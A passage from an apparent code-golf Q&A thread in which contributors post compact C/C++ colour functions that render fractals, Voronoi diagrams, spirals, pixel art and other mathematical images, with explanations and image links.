`GR` by the same factor to maintain the correct scaling. * You will probably also need to scale the `return c[i][j]` in `GR` since that only contains the absolute number of visits of each pixel. The maximum colour seems to be mostly independent of the iteration count and scales linearly with the total number of starting points. So if you want to use a 1k by 1k grid, you might want to `return c[i][j]*16;` or similar, but that factor sometimes needs some fiddling. For those not familiar with the Buddhabrot (like myself a couple of days ago), it's based on the Mandelbrot computation, but each pixel's intensity is how often that pixel was visited in the iterations of the escaping trajectories. If we're counting the visits during non-escaping trajectories, it's an Antibuddhabrot. There is an even more sophisticated version called Nebulabrot where you use a different recursion depth for each colour channel. But I'll leave that to someone else. For more information, as always, [Wikipedia](http://en.wikipedia.org/wiki/Buddhabrot). Originally, I didn't distinguish between escaping and non-escaping trajectories. That generated a plot which is the union of a Buddhabrot and an Antibuddhabrot (as pointed out by githubphagocyte). ``` unsigned short RD(int i,int j){ #define f(a)for(a=0;++a<DIM;) static int z;float x=0,y=0,m,n,k;if(!z){z=1;f(m)f(n)GR(m-DIM,n-DIM);};return BL(i,j); } unsigned short GR(int i,int j){ float x=0,y=0,a,k;if(i<0)f(k){a=x*x-y*y+(i+256.0)/512;y=2*x*y+(j+512.0)/512;x=a;if(x*x+y*y>4)break;BL((x-.6)*512,(y-1)*512);}return BL(i,j); } unsigned short BL(int i,int j){ static float c[DIM][DIM];if(i<0&&i>-DIM-1&&j<0&&j>-DIM-1)c[j+DIM][i+DIM]++;else if(i>0&&i<DIM&&j>0&&j<DIM)return log(c[i][j])*110; } ``` ![enter image description here](https://i.stack.imgur.com/IEVQn.jpg) This one looks a bit like a faded photograph... I like that. [Answer] # Sierpinski Pentagon You may have seen the [chaos game](http://en.wikipedia.org/wiki/Sierpinski_triangle#Chaos_game "plotting Sierpinski's triangle by chaos game") method of approximating Sierpinski's Triangle by plotting points half way to a randomly chosen vertex. Here I have taken the same approach using 5 vertices. The shortest code I could settle on included hard coding the 5 vertices, and there was no way I was going to fit it all into 140 characters. So I've delegated the red component to a simple backdrop, and used the spare space in the red function to define a macro to bring the other two functions under 140 too. So everything is valid at the cost of having no red component in the pentagon. ``` unsigned char RD(int i,int j){ #define A int x=0,y=0,p[10]={512,9,0,381,196,981,827,981,DM1,381} auto s=99./(j+99);return GR(i,j)?0:abs(53-int((3e3-i)*s+j*s)%107);} unsigned char GR(int i,int j){static int c[DIM][DIM];if(i+j<1){A;for(int n=0;n<2e7;n++){int v=(rand()%11+1)%5*2;x+=p[v];x/=2;y+=p[v+1];y/=2;c[x][y]++;}}return c[i][j];} unsigned char BL(int i,int j){static int c[DIM][DIM];if(i+j<1){A;for(int n=0;n<3e7;n++){int v=(rand()%11+4)%5*2;x+=p[v];x/=2;y+=p[v+1];y/=2;c[x][y]++;}}return c[i][j];} ``` Thanks to [Martin Büttner](https://codegolf.stackexchange.com/users/8478/martin-b%C3%BCttner) for the idea mentioned in the question's comments about defining a macro in one function to then use in another, and also for using memoisation to fill the pixels in an arbitrary order rather than being restricted to the raster order of the main function. ![pentagon](https://i.stack.imgur.com/VApm6.jpg "Sierpinski style pentagon") The image is over 500KB so it gets automatically converted to jpg by stack exchange. This blurs some of the finer detail, so I've also included just the top right quarter as a png to show the original look: ![top right](https://i.stack.imgur.com/xesJU.png "top right quarter at original quality") [Answer] # Sheet Music Sierpinski music. :D The guys on chat say it looks more like the punched paper for music boxes. ![Sheet music](https://i.stack.imgur.com/xh7Iv.png) ``` unsigned short RD(int i,int j){ return ((int)(100*sin((i+400)*(j+100)/11115)))&i; } unsigned short GR(int i,int j){ return RD(i,j); } unsigned short BL(int i,int j){ return RD(i,j); } ``` Some details on how this works...um, it's actually just a zoom-in on a render of some wavy Sierpinski triangles. The sheet-music look (and also the blockiness) is the result of integer truncation. If I change the red function to, say, ``` return ((int)(100*sin((i+400)*(j+100)/11115.0))); ``` the truncation is removed and we get the full resolution render: ![Non-blocky sheet music](https://i.stack.imgur.com/Ktt6U.jpg) So yeah, that's interesting. [Answer] # Random [Voronoi diagram](http://en.wikipedia.org/wiki/Voronoi_diagram) generator anyone? OK, this one gave me a hard time. I think it's pretty nice though, even if the results are not so *arty* as some others. That's the deal with randomness. Maybe some intermediate images look better, but I really wanted to have a fully working algorithm with voronoi diagrams. ![enter image description here](https://i.stack.imgur.com/Nr8zQ.png) # Edit: ![enter image description here](https://i.stack.imgur.com/FbbJr.png) This is one example of the final algorithm. The image is basically the superposition of three voronoi diagram, one for each color component (red, green, blue). ## Code **ungolfed, commented version at the end** ``` unsigned short red_fn(int i, int j){ int t[64],k=0,l,e,d=2e7;srand(time(0));while(k<64){t[k]=rand()%DIM;if((e=_sq(i-t[k])+_sq(j-t[42&k++]))<d)d=e,l=k;}return t[l]; } unsigned short green_fn(int i, int j){ static int t[64];int k=0,l,e,d=2e7;while(k<64){if(!t[k])t[k]=rand()%DIM;if((e=_sq(i-t[k])+_sq(j-t[42&k++]))<d)d=e,l=k;}return t[l]; } unsigned short blue_fn(int i, int j){ static int t[64];int k=0,l,e,d=2e7;while(k<64){if(!t[k])t[k]=rand()%DIM;if((e=_sq(i-t[k])+_sq(j-t[42&k++]))<d)d=e,l=k;}return t[l]; } ``` It took me a lot of efforts, so I feel like sharing the results at different stages, and there are nice (incorrect) ones to show. ## First step: have some points placed randomly, with `x=y` ![enter image description here](https://i.stack.imgur.com/mRi8x.jpg) I have converted it to jpeg because the original png was too heavy for upload (`>2MB`), I bet that's way more than 50 shades of grey! ## Second: have a better y coordinate I couldn't afford to have another table of coordinates randomly generated for the `y` axis, so I needed a simple way to get **"** random **"** ones in as few characters as possible. I went for using the `x` coordinate of another point in the table, by doing a bitwise `AND` on the index of the point. ![enter image description here](https://i.stack.imgur.com/SWSow.png) ## 3rd: I don't remember but it's getting nice But at this time I was way over 140 chars, so I needed to golf it down quite a bit. ![enter image description here](https://i.stack.imgur.com/FtUNH.png) ## 4th: scanlines Just kidding, this is not wanted but kind of cool, methinks. ![enter image description here](https://i.stack.imgur.com/AnSXs.png) ![enter image description here](https://i.stack.imgur.com/IxHqh.png) Still working on reducing the size of the algorithm, I am proud to present: ### StarFox edition ![enter image description here](https://i.stack.imgur.com/Jmoz4.png) ### Voronoi instagram ![enter image description here](https://i.stack.imgur.com/2fSkP.jpg) ## 5th: increase the number of points I have now a working piece of code, so let's go from 25 to 60 points. ![enter image description here](https://i.stack.imgur.com/NlpsC.png) That's hard to see from only one image, but the points are nearly all located in the same `y` range. Of course, I didn't change the bitwise operation, `&42` is much better: ![enter image description here](https://i.stack.imgur.com/efACY.png) And here we are, at the same point as the very first image from this post. Let's now explain the code for the rare ones that would be interested. ## Ungolfed and explained code ``` unsigned short red_fn(int i, int j) { int t[64], // table of 64 points's x coordinate k = 0, // used for loops l, // retains the index of the nearest point e, // for intermediary results d = 2e7; // d is the minimum distance to the (i,j) pixel encoutnered so far // it is initially set to 2e7=2'000'000 to be greater than the maximum distance 1024² srand(time(0)); // seed for random based on time of run // if the run overlaps two seconds, a split will be observed on the red diagram but that is // the better compromise I found while(k < 64) // for every point { t[k] = rand() % DIM; // assign it a random x coordinate in [0, 1023] range // this is done at each call unfortunately because static keyword and srand(...) // were mutually exclusive, lenght-wise if ( (e= // assign the distance between pixel (i,j) and point of index k _sq(i - t[k]) // first part of the euclidian distance + _sq(j - t[42 & k++]) // second part, but this is the trick to have "" random "" y coordinates // instead of having another table to generate and look at, this uses the x coordinate of another point // 42 is 101010 in binary, which is a better pattern to apply a & on; it doesn't use all the table // I could have used 42^k to have a bijection k <-> 42^k but this creates a very visible pattern splitting the image at the diagonal // this also post-increments k for the while loop ) < d // chekcs if the distance we just calculated is lower than the minimal one we knew ) // { // if that is the case d=e, // update the minimal distance l=k; // retain the index of the point for this distance // the comma ',' here is a trick to have multiple expressions in a single statement // and therefore avoiding the curly braces for the if // } } return t[l]; // finally, return the x coordinate of the nearest point // wait, what ? well, the different areas around points need to have a // "" random "" color too, and this does the trick without adding any variables } // The general idea is the same so I will only comment the differences from green_fn unsigned short green_fn(int i, int j) { static int t[64]; // we don't need to bother a srand() call, so we can have these points // static and generate their coordinates only once without adding too much characters // in C++, objects with static storage are initialized to 0 // the table is therefore filled with 60 zeros // see http://stackoverflow.com/a/201116/1119972 int k = 0, l, e, d = 2e7; while(k<64) { if( !t[k] ) // this checks if the value at index k is equal to 0 or not // the negation of 0 will cast to true, and any other number to false t[k] = rand() % DIM; // assign it a random x coordinate // the following is identical to red_fn if((e=_sq(i-t[k])+_sq(j-t[42&k++]))<d) d=e,l=k; } return t[l]; } ``` **Thanks for reading so far.** [Answer] The Lyapunov Fractal ![Lyapunov Fractal](https://i.stack.imgur.com/CJO8p.jpg) The string used to generate this was AABAB and the parameter space was [2,4]x[2,4]. ([explanation of string and parameter space here](http://en.wikipedia.org/wiki/Lyapunov_fractal)) With limited code space I thought this colouring was pretty cool. ``` //RED float r,s=0,x=.5;for(int k=0;k++<50;)r=k%5==2||k%5==4?(2.*j)/DIM+2:(2.*i)/DIM+2,x*=r*(1-x),s+=log(fabs(r-r*2*x));return abs(s); //GREEN float r,s=0,x=.5;for(int k=0;k++<50;)r=k%5==2||k%5==4?(2.*j)/DIM+2:(2.*i)/DIM+2,x*=r*(1-x),s+=log(fabs(r-r*2*x));return s>0?s:0; //BLUE float r,s=0,x=.5;for(int k=0;k++<50;)r=k%5==2||k%5==4?(2.*j)/DIM+2:(2.*i)/DIM+2,x*=r*(1-x),s+=log(fabs(r-r*2*x));return abs(s*x); ``` I also made a variation of the Mandelbrot set. It uses a map similar to the Mandelbrot set map. Say M(x,y) is the Mandelbrot map. Then M(sin(x),cos(y)) is the map I use, and instead of checking for escaping values I use x, and y since they are always bounded. ``` //RED float x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 2.5*(x*x+y*y); //GREEN float x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 15*fabs(x); //BLUE float x=0,y=0;for(int k=0;k++<15;){float t=_sq(sin(x))-_sq(cos(y))+(i-512.)/512;y=2*sin(x)*cos(y)+(j-512.0)/512;x=t;}return 15*fabs(y); ``` ![enter image description here](https://i.stack.imgur.com/byvJz.jpg) **EDIT** After much pain I finally got around to creating a gif of the second image morphing. Here it is: ![Party Time](https://i.stack.imgur.com/aQBpp.gif) [Answer] Because unicorns. ![Because unicorns](https://i.stack.imgur.com/6ANq3.png) I couldn't get the OPs version with `unsigned short` and colour values up to 1023 working, so until that is fixed, here is a version using `char` and maximum colour value of 255. ``` char red_fn(int i,int j){ return (char)(_sq(cos(atan2(j-512,i-512)/2))*255); } char green_fn(int i,int j){ return (char)(_sq(cos(atan2(j-512,i-512)/2-2*acos(-1)/3))*255); } char blue_fn(int i,int j){ return (char)(_sq(cos(atan2(j-512,i-512)/2+2*acos(-1)/3))*255); } ``` [Answer] ## Logistic Hills ![enter image description here](https://i.stack.imgur.com/wmfTl.png) ## The functions ``` unsigned char RD(int i,int j){ #define A float a=0,b,k,r,x #define B int e,o #define C(x) x>255?255:x #define R return #define D DIM R BL(i,j)*(D-i)/D; } unsigned char GR(int i,int j){ #define E DM1 #define F static float #define G for( #define H r=a*1.6/D+2.4;x=1.0001*b/D R BL(i,j)*(D-j/2)/D; } unsigned char BL(int i,int j){ F c[D][D];if(i+j<1){A;B;G;a<D;a+=0.1){G b=0;b<D;b++){H;G k=0;k<D;k++){x=r*x*(1-x);if(k>D/2){e=a;o=(E*x);c[e][o]+=0.01;}}}}}R C(c[j][i])*i/D; } ``` ## Ungolfed All of the #defines are to fit BL under 140 chars. Here is the ungolfed version of the blue algorithm, slightly modified: ``` for(double a=0;a<DIM;a+=0.1){ // Incrementing a by 1 will miss points for(int b=0;b<DIM;b++){ // 1024 here is arbitrary, but convenient double r = a*(1.6/DIM)+2.4; // This is the r in the logistic bifurcation diagram (x axis) double x = 1.0001*b/DIM; // This is x in the logistic bifurcation diagram (y axis). The 1.0001 is because nice fractions can lead to pathological behavior. for(int k=0;k<DIM;k++){ x = r*x*(1-x); // Apply the logistic map to x // We do this DIM/2 times without recording anything, just to get x out of unstable values if(k>DIM/2){ if(c[(int)a][(int)(DM1*x)]<255){ c[(int)a][(int)(DM1*x)]+=0.01; // x makes a mark in c[][] } // In the golfed code, I just always add 0.01 here, and clip c to 255 } } } } ``` Where the values of x fall the most often for a given r (j value), the plot becomes lighter (usually depicted as darker). [Answer] # Diffusion Limited Aggregation I've always been fascinated by [diffusion limited aggregation](http://en.wikipedia.org/wiki/Diffusion-limited_aggregation) and the number of different ways it appears in the real world. I found it difficult to write this in just 140 characters per function so I've had to make the code horrible (or beautiful, if you like things like `++d%=4` and `for(n=1;n;n++)`). The three colour functions call each other and define macros for each other to use, so it doesn't read well, but each function is just under 140 characters. ``` unsigned char RD(int i,int j){ #define D DIM #define M m[(x+D+(d==0)-(d==2))%D][(y+D+(d==1)-(d==3))%D] #define R rand()%D #define B m[x][y] return(i+j)?256-(BL(i,j))/2:0;} unsigned char GR(int i,int j){ #define A static int m[D][D],e,x,y,d,c[4],f,n;if(i+j<1){for(d=D*D;d;d--){m[d%D][d/D]=d%6?0:rand()%2000?1:255;}for(n=1 return RD(i,j);} unsigned char BL(int i,int j){A;n;n++){x=R;y=R;if(B==1){f=1;for(d=0;d<4;d++){c[d]=M;f=f<c[d]?c[d]:f;}if(f>2){B=f-1;}else{++e%=4;d=e;if(!c[e]){B=0;M=1;}}}}}return m[i][j];} ``` ![diffusion limited aggregation](https://i.stack.imgur.com/44aOn.png "diffusion limited aggregation") To visualise how the particles gradually aggregate, I produced snapshots at regular intervals. Each frame was produced by replacing the 1 in `for(n=1;n;n++)` with 0, -1<<29, -2<<29, -3<<29, 4<<29, 3<<29, 2<<29, 1<<29, 1. This kept it just under the 140 character limit for each run. ![animated aggregation](https://i.stack.imgur.com/G7aH9.gif "animated aggregation") You can see that aggregates growing close to each other deprive each other of particles and grow more slowly. --- By making a slight change to the code you can see the remaining particles that haven't become attached to the aggregates yet. This shows the denser regions where growth will happen more quickly and the very sparse regions between aggregates where no more growth can occur due to all the particles having been used up. ``` unsigned char RD(int i,int j){ #define D DIM #define M m[(x+D+(d==0)-(d==2))%D][(y+D+(d==1)-(d==3))%D] #define R rand()%D #define B m[x][y] return(i+j)?256-BL(i,j):0;} unsigned char GR(int i,int j){ #define A static int m[D][D],e,x,y,d,c[4],f,n;if(i+j<1){for(d=D*D;d;d--){m[d%D][d/D]=d%6?0:rand()%2000?1:255;}for(n=1 return RD(i,j);} unsigned char BL(int i,int j){A;n;n++){x=R;y=R;if(B==1){f=1;for(d=0;d<4;d++){c[d]=M;f=f<c[d]?c[d]:f;}if(f>2){B=f-1;}else{++e%=4;d=e;if(!c[e]){B=0;M=1;}}}}}return m[i][j];} ``` ![DLA with visible particles](https://i.stack.imgur.com/woEEk.png "DLA with visible particles") This can be animated in the same way as before: ![animated aggregation with particles](https://i.stack.imgur.com/54U8g.gif "animated aggregation with particles") [Answer] # Spiral (140 exactly) ![final product](https://i.stack.imgur.com/Ii8jM.jpg) This is 140 characters exactly if you don't include the function headers and brackets. It's as much spiral complexity I could fit in the character limit. ``` unsigned char RD(int i,int j){ return DIM-BL(2*i,2*j); } unsigned char GR(int i,int j){ return BL(j,i)+128; } unsigned char BL(int i,int j){ i-=512;j-=512;int d=sqrt(i*i+j*j);return d+atan2(j,i)*82+sin(_cr(d*d))*32+sin(atan2(j,i)*10)*64; } ``` I gradually built on a simple spiral, adding patterns to the spiral edges and experimenting with how different spirals could be combined to look cool. Here is an ungolfed version with comments explaining what each piece does. Messing with parameters can produce some interesting results. ``` unsigned char RD(int i,int j){ // *2 expand the spiral // DIM- reverse the gradient return DIM - BL(2*i, 2*j); } unsigned char GR(int i,int j){ // notice swapped parameters // 128 changes phase of the spiral return BL(j,i)+128; } unsigned char BL(int i,int j){ // center it i -= DIM / 2; j -= DIM / 2; double theta = atan2(j,i); //angle that point is from center double prc = theta / 3.14f / 2.0f; // percent around the circle int dist = sqrt(i*i + j*j); // distance from center // EDIT: if you change this to something like "prc * n * 256" where n // is an integer, the spirals will line up for any arbitrarily sized // DIM value, or if you make separate DIMX and DIMY values! int makeSpiral = prc * DIM / 2; // makes pattern on edge of the spiral int waves = sin(_cr(dist * dist)) * 32 + sin(theta * 10) * 64; return dist + makeSpiral + waves; } ``` Messing with parameters: Here, the spirals are lined up but have different edge patterns. Instead of the blocky edges in the main example, this has edges entirely comprised of sin waves. ![edges](https://i.stack.imgur.com/65mDZ.jpg) Here, the gradient has been removed: ![no gradient](https://i.stack.imgur.com/0TzSP.png) An animation (which for some reason doesn't appear to be looping after I uploaded it, sorry. Also, I had to shrink it. Just open it in a new tab if you missed the animation): ![animation](https://i.stack.imgur.com/f3AAU.gif) And, here's the [imgur album](https://i.stack.imgur.com/tph5o.jpg) with all images in it. I'd love to see if anyone can find other cool spiral patterns. Also, I must say, this is by far one of the coolest challenges on here I have ever seen. Enjoy! EDIT: Here are some [backgrounds](https://i.stack.imgur.com/8Uw23.jpg) made from these spirals with altered parameters. Also, by combining my spiral edge patterns with some of the fractals I've seen on here through the use of xor/and/or operations, here is a final spiral: ![fractal spiral](https://i.stack.imgur.com/BMuOA.jpg) [Answer] ## Tribute to a classic *V1*: Inspired by DreamWarrior's "Be happy", this straightforward submission embeds a small pixel-art image in each colour channel. I didn't even have to golf the code! *V2*: now with considerably shorter code & a thick black border isolating only the "game screen". *V3*: spaceship, bullet, damaged aliens and blue border, oh my! Trying to aim for [this](http://upload.wikimedia.org/wikipedia/en/2/20/SpaceInvaders-Gameplay.gif), roughly. ``` // RED #define g(I,S,W,M)j/128%8==I&W>>(j/32%4*16+i/64)%M&S[abs(i/4%16-8)-(I%2&i%64<32)]>>j/4%8&1 return g(1,"_\xB6\\\x98\0\0\0",255L<<36,64)?j:0; // GREEN #define S g(6,"\xFF\xFE\xF8\xF8\xF8\xF8\xF0\x0",1L<<22,64)|i/4==104&j/24==30 return g(2,"<\xBC\xB6}\30p\0\0",4080,32)|S?j:0; // BLUE return g(3,"_7\xB6\xFE\x5E\34\0",0x70000000FD0,64)|S|abs(i/4-128)==80&abs(j/4-128)<96|abs(j/4-128)==96&abs(i/4-128)<80?j:0; ``` ![Space invaders](https://i.stack.imgur.com/3T1II.png) --- I happened to stumble upon an edit by [Umber Ferrule](https://codegolf.stackexchange.com/users/3268/umber-ferrule) whose avatar inspired me to add another pixel-art-based entry. Since the core idea of the code is largely similar to the Space Invaders one, I'm appending it to this entry, though the two definitely had different challenging points. For this one, getting pink right (at the expense of white) and the fact that it's a rather big sprite proved nice challenges. The hexadecimal escapes (`\xFF` etc) in the red channel represent their corresponding characters in the source file (that is, the red channel in the source file contains binary data), whereas the octal escapes are literal (i.e. present in the source file). ``` // RED #define g(S)(S[i/29%18*2+j/29/8%2]>>j/29%8&1)*DM1*(abs(i-512)<247&abs(j-464)<232) return g("\xF3\xF2\xF2\x10\xF4\0\xF2\x10\xE1\xE0\x81\0\x80\0\x80\0\0\0\0\0@\0! \x03d8,=\x2C\x99\x84\xC3\x82\xE1\xE3"); // GREEN return g(";\376z\34\377\374\372\30k\360\3\200\0\0\0\0\0\0\200\0\300\0\341 \373d\307\354\303\374e\374;\376;\377")? DM1 : BL(i,j)? DM1/2 : 0; // BLUE return g("\363\360\362\20\364\0\362\20\341\340\200\0\200\0\200\0\0\0\0\0\0\0\0\0\0\08\0<\0\230\0\300\0\341\340") / 2; ``` ![Bub (Bubble Bobble)](https://i.stack.imgur.com/uxmib.png) [Answer] # Action Painting I wanted to try recreating something similar to the work of [Jackson Pollock](http://en.wikipedia.org/wiki/Jackson_Pollock) - dripping and pouring paint over a horizontal canvas. Although I liked the results, the code was much too long to post to this question and my best efforts still only reduced it to about 600 bytes. So the code posted here (which has functions of 139 bytes, 140 bytes, and 140 bytes respectively) was produced with an enormous amount of help from some of the geniuses in [chat](http://chat.stackexchange.com/rooms/240/the-nineteenth-byte). Huge thanks to: * [Eric Tressler](https://codegolf.stackexchange.com/users/17484/eric-tressler) * [FireFly](https://codegolf.stackexchange.com/users/3918/firefly) * [PhiNotPi](https://codegolf.stackexchange.com/users/2867/phinotpi) * [Martin Büttner](https://codegolf.stackexchange.com/users/8478/martin-b%C3%BCttner) for a relentless group golfing session. ``` unsigned char RD(int i,int j){ #define E(q)return i+j?T-((T-BL(i,j))*q):T; #define T 255 #define R .1*(rand()%11) #define M(v)(v>0&v<DIM)*int(v) #define J [j]*250; E(21)} unsigned char GR(int i,int j){ #define S DIM][DIM],n=1e3,r,a,s,c,x,y,d=.1,e,f;for(;i+j<1&&n--;x=R*DM1,y=R*DM1,s=R*R*R*R,a=R*7,r=s*T)for(c=R;r>1;x+=s*cos(a),y+=s*sin E(21)} unsigned char BL(int i,int j){static float m[S(a),d=rand()%39?d:-d,a+=d*R,s*=1+R/99,r*=.998)for(e=-r;e++<r;)for(f=-r;f++<r;)m[M(x+e)*(e*e+f*f<r)][M(y+f)]=c;return T-m[i]J} ``` ![action painting 21, 21](https://i.stack.imgur.com/ojtkU.png "action painting 21, 21") The E(q) macro is used in the RD and GR functions. Changing the value of the argument changes the way the red and green components of the colours change. The J macro ends with a number which is used to determine how much the blue component changes, which in turn affects the red and green components because they are calculated from it. I've include some images with the red and green arguments of E varied to show the variety of colour combinations possible. Hover over the images for the red and green values if you want to run these yourself. ![action painting 14, 14](https://i.stack.imgur.com/7Piib.png "action painting 14, 14") ![action painting 63, 49](https://i.stack.imgur.com/uM9hh.png "action painting 63, 49") ![action painting 56, 42](https://i.stack.imgur.com/VyZwZ.png "action painting 56, 42") ![action painting 0, 49](https://i.stack.imgur.com/WvEEp.png "action painting 0, 49") All of these images can be viewed at full size if you download them. The file size is small as the flat colour suits the PNG compression algorithm, so no lossy compression was required in order to upload to the site. If you'd like to see images from various stages in the golfing process as we tried out different things, you can look in the [action painting chat](http://chat.stackexchange.com/rooms/16410/action-painting-golf). [Answer] Figured I'd play with [this code](https://codegolf.stackexchange.com/questions/35569/tweetable-mathematical-art/35739#35739)'s parameters... All credit goes to @Manuel Kasten. These are just so cool that I couldn't resist posting. ![Hot & Cold](https://i.stack.imgur.com/JDvb6.png) ``` /* RED */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 1000*pow((n)/800,.5); /* GREEN */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 8000*pow((n)/800,.5); /* BLUE */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 8000*pow((n)/800,.5); ``` [BubbleGumRupture http://i57.tinypic.com/3150eqa.png](http://i57.tinypic.com/3150eqa.png) ``` /* RED */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 8000*pow((n)/800,.5); /* GREEN */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 40*pow((n)/800,.5); /* BLUE */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+(j)*9e-9-.645411;a=c-d+(i)*9e-9+.356888;} return 10*pow((n)/800,.5); ``` [SeussZoom http://i59.tinypic.com/am3ypi.png](http://i59.tinypic.com/am3ypi.png) ``` /* RED */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-8-.645411;a=c-d+i*8e-8+.356888;} return 2000*pow((n)/800,.5); /* GREEN */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-8-.645411;a=c-d+i*8e-8+.356888;} return 1000*pow((n)/800,.5); /* BLUE */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-8-.645411;a=c-d+i*8e-8+.356888;} return 4000*pow((n)/800,.5); ``` [SeussEternalForest http://i61.tinypic.com/35akv91.png](http://i61.tinypic.com/35akv91.png) ``` /* RED */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 2000*pow((n)/800,.5); /* GREEN */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 1000*pow((n)/800,.5); /* BLUE */ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880){b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 4000*pow((n)/800,.5); ``` [Answer] This calculates the [Joukowsky transform](http://en.wikipedia.org/wiki/Joukowsky_transform) of a set of concentric circles centred on a point slightly offset from the origin. I slightly modified the intensities in the blue channel to give a bit of colour variation. ``` unsigned short RD(int i,int j){ double r=i/256.-2,s=j/256.-2,q=r*r+s*s,n=hypot(r+(.866-r/2)/q,s+(r*.866+s/2)/q), d=.5/log(n);if(d<0||d>1)d=1;return d*(sin(n*10)*511+512); } unsigned short GR(int i,int j){ return 0; } unsigned short BL(int i,int j){ double r=i/256.-2,s=j/256.-2,q=r*r+s*s;return RD(i,j)*sqrt(q/40); } ``` ![enter image description here](https://i.stack.imgur.com/qPR9v.jpg) [Answer] **Edit:** This is now a valid answer, thanks to the forward declarations of `GR` and `BL`. Having fun with Hofstadter's Q-sequence! If we're using the radial distance from some point as the input and the output as the inverse colour, we get something which looks like coloured vinyl. ![enter image description here](https://i.stack.imgur.com/k5d8J.png) The sequence is very similar to the Fibonacci sequence, but instead of going 1 and 2 steps back in the sequence, you take the two previous values to *determine* how far to go back before taking the sum. It grows roughly linear, but every now and then there's a burst of chaos (at increasing intervals) which then settles down to an almost linear sequence again before the next burst: ![enter image description here](https://i.stack.imgur.com/NqP82.png) You can see these ripples in the image after regions which look very "flat" in colour. Of course, using only one colour is boring. ![enter image description here](https://i.stack.imgur.com/uCS81.png) Now for the code. I need the recursive function to compute the sequence. To do that I use `RD` whenever `j` is negative. Unfortunately, that does not leave enough characters to compute the red channel value itself, so `RD` in turn calls `GR` with an offset to produce the red channel. ``` unsigned short RD(int i,int j){ static int h[1000];return j<0?h[i]?h[i]:h[i]=i<2?1:RD(i-RD(i-1,j),j)+RD(i-RD(i-2,j),j):GR(i+256,j+512); } unsigned short GR(int i,int j){ return DIM-4*RD(sqrt((i-512)*(i-512)+(j-768)*(j-768))/2.9,-1); } unsigned short BL(int i,int j){ return DIM-4*RD(sqrt((i-768)*(i-768)+(j-256)*(j-256))/2.9,-1); } ``` Of course, this is pretty much the simplest possible usage of the sequence, and there are loads of characters left. Feel free to borrow it and do other crazy things with it! Here is another version where the boundary and the colours are determined by the Q-sequence. In this case, there was enough room in `RD` so that I didn't even need the forward declaration: ``` unsigned short RD(int i,int j){ static int h[1024];return j<0?h[i]?h[i]:h[i]=i<2?1:RD(i-RD(i-1,j),j)+RD(i-RD(i-2,j),j):RD(2*RD(i,-1)-i+512>1023-j?i:1023-i,-1)/0.6; } unsigned short GR(int i,int j){ return RD(i, j); } unsigned short BL(int i,int j){ return RD(i, j); } ``` ![enter image description here](https://i.stack.imgur.com/hHIBa.png) [Answer] # Objective-C Rewrote the C++ code in Objective-C cos I couldn't get it to compile... It gave the same results as other answer when running on my iPad, so that's all good. Here's my submission: ![Triangles Galore](https://i.stack.imgur.com/qlkCf.png) The code behind it is fairly simple: ``` unsigned short red_fn(int i,int j) { return j^j-i^i; } unsigned short green_fn(int i,int j) { return (i-DIM)^2+(j-DIM)^2; } unsigned short blue_fn(int i,int j) { return i^i-j^j; } ``` You can zoom in on squares by multiplying `i` and `j` by `0.5`, `0.25` etc. before they are processed. [Answer] # Sierpinski Paint Splash I wanted to play more with colors so I kept changing my other answer (the swirly one) and eventually ended up with this. ![Sierpinski Paint Splash](https://i.stack.imgur.com/xAofW.png) ``` unsigned short RD(int i,int j){ return(sqrt(_sq(abs(73.-i))+_sq(abs(609.-j)))+1.)/abs(sin((sqrt(_sq(abs(860.-i))+_sq(abs(162.-j))))/115.)+2)/(115^i&j); } unsigned short GR(int i,int j){ return(sqrt(_sq(abs(160.-i))+_sq(abs(60.-j)))+1.)/abs(sin((sqrt(_sq(abs(73.-i))+_sq(abs(609.-j))))/115.)+2)/(115^i&j); } unsigned short BL(int i,int j){ return(sqrt(_sq(abs(600.-i))+_sq(abs(259.-j)))+1.)/abs(sin((sqrt(_sq(abs(250.-i))+_sq(abs(20.-j))))/115.)+2)/(115^i&j); } ``` It's my avatar now. :P [Answer] # groovy ![groovy.png](https://i.stack.imgur.com/hKbKu.png) Just some trigonometry and weird macro tricks. RD: ``` #define I (i-512) #define J (j-512) #define A (sin((i+j)/64.)*cos((i-j)/64.)) return atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024; ``` GR: ``` #undef A #define A (M_PI/3+sin((i+j)/64.)*cos((i-j)/64.)) return atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024; ``` BL: ``` #undef A #define A (2*M_PI/3+sin((i+j)/64.)*cos((i-j)/64.)) return atan2(I*cos A-J*sin A,I*sin A+J*cos A)/M_PI*1024+1024; ``` EDIT: if `M_PI` isn't allowed due to 